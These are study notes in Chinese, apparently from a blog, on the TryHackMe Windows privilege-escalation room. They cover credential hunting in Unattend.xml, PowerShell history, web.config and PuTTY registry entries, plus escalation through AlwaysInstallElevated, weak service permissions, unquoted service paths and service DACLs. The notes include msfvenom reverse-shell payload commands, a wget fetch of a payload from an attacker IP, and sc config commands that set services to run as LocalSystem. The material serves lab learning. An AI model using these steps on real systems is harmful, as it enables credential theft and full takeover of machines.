0%

TryHackMe-LinuxPrivilegeEscalation

知识点记录

  此文用于记录学习 TryHackMe 网站中 Room:Windows Privilege Escalation 获得的知识点。ƪ(˘⌣˘)ʃ

Windows用户权限

  SYSTEM > Administrators > Users

可用信息收集

  常见凭据保存地址:当管理员部署 Windows 系统到大量主机时,会保存管理员账号密码,可能存储凭据的位置包括

1
2
3
4
5
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

  在这些文件中,可能含有明文字段<Credentials>,其储存管理员账号密码

1
2
3
4
5
<Credentials>
<Username>Administrator</Username>
<Domain>thm.local</Domain>
<Password>MyPassword123</Password>
</Credentials>

  PowerShell历史记录:用户执行的 PowerShell 命令会被记录下来,如果直接在命令中使用了密码,可以通过运行指令在历史记录中被找到:type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt(cmd.exe 使用)type "$Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt"(powershell.exe 使用)

  已保存的Windows凭据:如果用户保存了用于远程访问或共享的凭据,可以通过以下命令进行查看和尝试

1
2
cmdkey /list
runas /savecred /user:admin cmd.exe

  IIS 配置文件:Internet Information Services (IIS) 是 Windows 安装的默认 Web 服务器。IIS 上的网站配置存储在名为 web.config 的文件中,其内可包含数据库连接字符串和认证信息,常见位置如下

1
2
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

  如要查找数据库连接字符串,使用命令:type <filepath> | findstr connectionString

  PuTTY会话配置:PuTTY 是 Windows 系统上常见的 SSH 客户端。用户不必每次都指定连接的参数,而是可以存储 IP、用户和其他配置,比如包含明文身份验证凭据的代理配置;检索存储的代理凭据,就要查找注册表中存储的信息,可使用如下命令:reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

利用错误配置进行权限提升

  错误的计划任务:当一个计划任务使用的可执行文件丢失或者该文件可被非特权用户修改,则其可以被利用;使用命令schtasks /query /tn vulntask /fo list /v可以查看系统上的计划任务,以下是输出的具体解释

字段名 示例值 解释说明
Folder \ 任务所在的文件夹
HostName THM-PC1 运行任务的计算机名(主机名)
TaskName \vulntask 任务的名称
Task To Run C:\tasks\schtask.bat 任务实际执行的程序或脚本
Run As User taskusr1 任务运行时使用的用户账号

  显然,如果可以修改 Task To Run 路径下的脚本,即可产生权限提升,查看可执行文件的文件权限可使用如下指令:icacls <Task To Run 脚本路径>,对其中输出的信息,做如下解释

简写 中文解释
F 完全控制:可以进行所有操作,包括更改权限和所有权
M 修改:可以读取、写入、删除,但不能更改权限或所有权
RX 读取和执行:可以读取内容并执行程序,但不能修改
R 读取:只能查看内容,不能更改
W 写入:可以修改内容或新建文件,但不能删除或更改权限
D 删除:可以删除文件或文件夹
I 继承:该权限是从父对象继承而来的,不是直接分配的

  .msi文件:Windows 安装程序文件

  AlwaysInstallElevated:是 Windows 的一个设置,允许所有用户以管理员权限运行 .msi 安装程序;如果系统启用了 AlwaysInstallElevated,攻击者可以创建一个恶意 .msi 文件,并以管理员权限执行,从而实现提权,以下是利用该方法实施提权的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 首先,检测目标系统是否启用AlwaysInstallElevated
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
# 如果两个注册表值中,AlwaysInstallElevated=1均成立,说明可以利用

# 使用msfvenom生成恶意.msi文件
msfvenom -p windows/x64/shell_reverse_tcp LHOST=攻击者IP LPORT=攻击者端口 -f msi -o malicious.msi
# 以下是各选项的解释
-p:指定payload,比如这里用的是reverse_tcp shell,意味着生成一个Windows 64位系统用的反向TCP Shell
-f msi:指定输出格式为 .msi
-o malicious.msi:输出文件名

# 运行生成非的.msi恶意文件
msiexec /quiet /qn /i <malicious.msi的路径>
# 以下是各选项的解释
msiexec:Windows安装程序命令
/quiet /qn:静默安装,无界面,不提示用户
/i :指定安装包

利用不当Windows服务配置进行权限提升

   SCM:Windows 服务管理器,负责控制服务的状态、检查当前状态并提供配置服务的方式,每个服务都有一个相关的可执行文件,SCM 在服务启动时运行该文件;使用 sc qc 命令可以查看服务的详细配置,以下是对其关键参数的解释

  BINARY_PATH_NAME: 指定可执行文件路径

  SERVICE_START_NAME: 显示运行服务的账户

  DACL:服务具有任意访问控制列表 (DACL),该列表指示谁有权启动、停止、暂停、查询状态、查询配置或重新配置服务,以及其他权限

  服务配置:所有服务配置都存储在注册表中以下位置 HKLM\SYSTEM\CurrentControlSet\Services\

  利用方式:主要从三个方面实施权限提升:服务可执行文件的弱权限;无引号的服务路径;DACL 配置错误

  服务可执行文件的弱权限:如果与服务关联的可执行文件允许攻击者修改或替换它,可利用此注入恶意脚本进行权限提升,具体做法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 1、使用sc qc查看服务的配置,找到其中的BINARY_PATH_NAME属性
sc qc WindowsScheduler
=> BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exe
注:PROGRA~2是Program Files (x86)的8.3短文件名格式,SYSTEM~1是 System Scheduler的短名

# 2、使用icacls查看可执行文件的权限,查看是否攻击者账号拥有修改或删除该文件的权限
icacls C:\PROGRA~2\SYSTEM~1\WService.exe
=> Everyone:(I)(M)

# 3、使用msfvenom生成恶意可执行文件,攻击机上执行
msfvenom -p windows/x64/shell_reverse_tcp LHOST=攻击机IP LPORT=4445 -f exe-service -o rev-svc.exe

# 4、打开Python Web服务器,开放端口使目的机下载恶意.exe程序
python3 -m http.server(攻击机执行)
=> Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
wget http://攻击者IP:8000/rev-svc.exe -O rev-svc.exe(受害机执行)

  无引号的服务路径:使用 Windows 服务时,当服务配置为指向“未加引号的”可执行文件时,文件路径中的空格会被错误考虑;如果路径没有正确加引号,Windows 会尝试执行路径中的多个文件,直到找到正确的可执行文件,使用下例进行解释

1
2
3
4
5
6
7
8
9
# 比如,系统中存在一个服务路径:C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
sc qc "C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe"
=> 查看disksrs.exe权限

# 如果不加引号
sc qc C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
=> 查找C:\MyPrograms\Disk.exe
=> 查找C:\MyPrograms\Disk Sorter.exe
...

  因此,我们可以通过构造恶意的C:\MyPrograms\Disk.exe,实现权限提升

  DACL配置错误:如果服务的 DACL 允许用户修改服务配置,我们就可以重新配置该服务,指向任何恶意可执行文件并以任何用户账户(甚至是 SYSTEM)执行它,具体做法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 1、使用Sysinternals套件中的Accesschk,检查服务的DACL配置
accesschk64.exe -qlc <指定的服务路径>
=>C:\tools\AccessChk> accesschk64.exe -qlc thmservice
[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_PAUSE_CONTINUE
SERVICE_START
SERVICE_STOP
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
[4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
SERVICE_ALL_ACCESS

# 2、根据输出,发现存在漏洞可以利用,使用msfvenom生成恶意可执行文件
msfvenom -p windows/x64/shell_reverse_tcp LHOST=攻击机IP LPORT=4445 -f exe-service -o rev-svc.exe

# 3、打开Python Web服务器,开放端口使目的机下载恶意.exe程序
python3 -m http.server(攻击机执行)
=> Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
wget http://攻击者IP:8000/rev-svc.exe -O rev-svc.exe(受害机执行)

# 4、更改目标服务的配置
sc config <服务名> binPath= "<可执行文件路径>" obj= LocalSystem

# 5、重启服务
C:\> sc stop THMService
C:\> sc start THMService